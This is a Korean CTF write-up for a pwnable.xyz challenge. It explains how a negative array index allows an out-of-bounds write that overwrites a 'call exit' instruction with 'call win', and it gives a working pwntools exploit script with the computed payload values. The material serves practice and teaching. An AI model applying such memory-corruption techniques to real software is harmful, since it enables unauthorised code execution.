How to Exploit

image

while문이 실행되고 v4, v5, v6를 입력받는다. v4, v5, v6가 하나라도 0이거나 v6이 9를 넘으면 while문을 빠져나온다. 그렇지 않으면 result[v6]=v5^v4라는 실행을 하고 result[v6]를 출력한다.

v6의 값이 음수가 될 수 있다는 걸 이용해 메모리에 접근해야 할 것 같다. 하지만 pie도 켜져 있고 FULL RELRO라서 overwrite하기 힘들어보인다.

cat /proc/pid/maps : 실행코드를 보니 write가 가능하다. 직접 Instruction을 써주면 될 것 같다.

call exit 명령어를 call win 으로 바꿔주자.

Design the Payload

  1. Make the Instruction
    그냥 call 0xa21을 변환시키니 엉뚱하게 나온다.
image

pwntool에 있는 ELF 파일에서 어셈블리어를 만들어주는 함수를 사용하자.

  1. call exit와 result의 거리를 계산하자.
    (0xac8-0x202200)/8=-262887

Exploit Code

from pwn import *
#p=process('./challenge')
p=remote('svc.pwnable.xyz', 30029)

#e=ELF('./challenge')
#exit_add = 0xac8
#e.asm(exit_add, "call 0xa21")
#ins = e.read(exit_add, 5)
#print(int(ins, 16))
#\xe8\x54\xff\xff\xff : call win
#0xffffff54e8^1 = 1099511583977

p.sendlineafter('   ', '1 1099511583977 -262887')
p.sendlineafter('   ', 'a')

p.interactive()

Capture The Flag

image

'Writeup [pwn] > pwnable.xyz' 카테고리의 다른 글

Welcome  (0) 2020.03.07
Two Targets - 2  (0) 2020.03.07
Two Targets - 1  (0) 2020.03.07
TLSv00  (0) 2020.03.07
Sub  (0) 2020.03.07

+ Recent posts